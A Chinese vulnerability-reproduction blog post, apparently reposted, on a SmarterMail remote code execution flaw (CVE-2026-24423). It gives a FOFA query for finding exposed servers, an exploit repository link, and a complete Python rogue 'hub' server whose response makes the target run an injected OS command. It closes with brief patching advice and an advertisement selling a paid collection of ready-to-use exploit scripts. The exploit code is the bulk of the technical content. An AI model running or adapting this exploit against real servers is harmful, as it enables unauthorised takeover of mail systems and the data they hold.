文章总结: 本文介绍了SmarterMail远程代码执行漏洞CVE-2026-24423,源于ConnectToHubAPI未鉴权,攻击者可诱导服务器请求恶意接口并执行任意系统命令。受影响版本为Build9511以下。文章提供了FOFA指纹、Python复现脚本及Nuclei检测思路,建议用户升级补丁、部署WAF或限制接口访问以修复该风险。 综合评分: 65 文章分类: 漏洞POC,漏洞分析,漏洞预警,渗透测试,软文广告
漏洞复现 | SmarterTools SmarterMail 远程代码执行漏洞(CVE-2026-24423)
实战安全研究
2026年2月6日 10:00 广东
免责声明
| | | — | | 本文仅用于技术学习和安全研究,请勿使用本文所提供的内容及相关技术从事非法活动,由于传播和利用此文所提供的内容或工具而造成任何直接或间接的损失后果,均由使用者本人承担,所产生一切不良后果与文章作者及本账号无关。如内容有争议或侵权,请私信我们!我们会立即删除并致歉。谢谢! |
1
漏洞描述
SmarterTools SmarterMail 远程代码执行漏洞(CVE-2026-24423),该漏洞源于 ConnectToHub API 接口未对访问者进行身份验证。攻击者可通过构造特定请求,诱导 SmarterMail 服务器指向恶意 HTTP 服务器,进而向 SmarterMail 返回恶意操作系统命令。攻击者可以远程执行任意命令,完全控制受影响的系统,导致数据泄露、服务中断等严重后果。
2
影响版本
SmarterMail < Build 9511
3
fofa语法
fofa语法
app="SmarterTools-SmarterMail"
4
漏洞复现
dnslog
收到请求
执行命令需要用的另外一个脚本
https://github.com/aavamin/CVE-2026-24423
启动Server服务,监听 80 端口,模拟 SmarterMail Hub 接口,返回包含 SystemMount 配置的 JSON 响应。
#!/usr/bin/env python3from http.server import BaseHTTPRequestHandler, HTTPServerimport jsonclass Handler(BaseHTTPRequestHandler): def _send_json(self, code: int, obj: dict): data = json.dumps(obj).encode("utf-8") self.send_response(code) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def do_POST(self): if self.path != "/web/api/node-management/setup-initial-connection": self._send_json(404, {"error": "not found", "path": self.path}) return length = int(self.headers.get("Content-Length", "0")) body = self.rfile.read(length).decode("utf-8", errors="replace") print("[*] Received POST:", self.path) print("[*] Body:", body) resp = { "ClusterID": "f0e12780-f462-4b51-a7db-149f1d56209c", "SharedSecret": "any-value", "TargetHubs": {"a": "b"}, "IsStandby": False, "SystemMount": { "Enabled": True, "ReadOnly": False, "MountPath": "C:\\\\", "CommandMount": "whoami > C:\\\\whoami.txt" }, "SystemAdminUsernames": ["admin"] } self._send_json(200, resp)def main(): host = "0.0.0.0" port = 80 print(f"Serving on http://{host}:{port}") HTTPServer((host, port), Handler).serve_forever()if __name__ == "__main__": main()#Powered by ChatGPT
当漏洞触发成功时,SmarterMail 将解析 Hub 返回的数据,默认代码仅执行whoami命令。
5
检测POC
nuclei
afrog
6
漏洞修复
1、建议联系厂商打补丁或升级版本。
2、增加Web应用防火墙防护。
3、关闭互联网暴露面或接口设置访问权限。
7
内部圈子
现在已更新POC数量 1850+(中危以上)
🔥 1day/Nday 漏洞实战圈上线 🔥
还在到处找公开漏洞 POC?
这里专注整合全网1day/Nday漏洞POC和复现,一站式解决你的痛点!
🔍 圈子福利
✅ 整合全网 1day/Nday 漏洞POC,附带复现步骤,新手也能快速上手
✅ 每周更新 10-15 个POC测试脚本,经过实测验证,到手就能用
✅ 完美适配 Nuclei/Afrog 扫描工具,脚本无需额外修改,即拿即用
✅ 重磅福利:免登录免费 FOFA 查询,无需账号也能高效资产测绘
✅ 专属权益:提供指纹识别库,指纹库持续更新
💡 适合对象
渗透测试🔹攻防演练🔹安全运维🔹企业自查🔹SRC漏洞挖掘
⚠️ 重要提醒
仅限授权范围内的合法安全测试,严禁用于未授权攻击行为!
本服务为虚拟资源服务,一经购买概不退款,请按需谨慎购买!
现在加入圈子价格是59.9元(交个朋友啦),后面将调整涨价啦。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:实战安全研究 《漏洞复现 | SmarterTools SmarterMail 远程代码执行漏洞(CVE-2026-24423)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论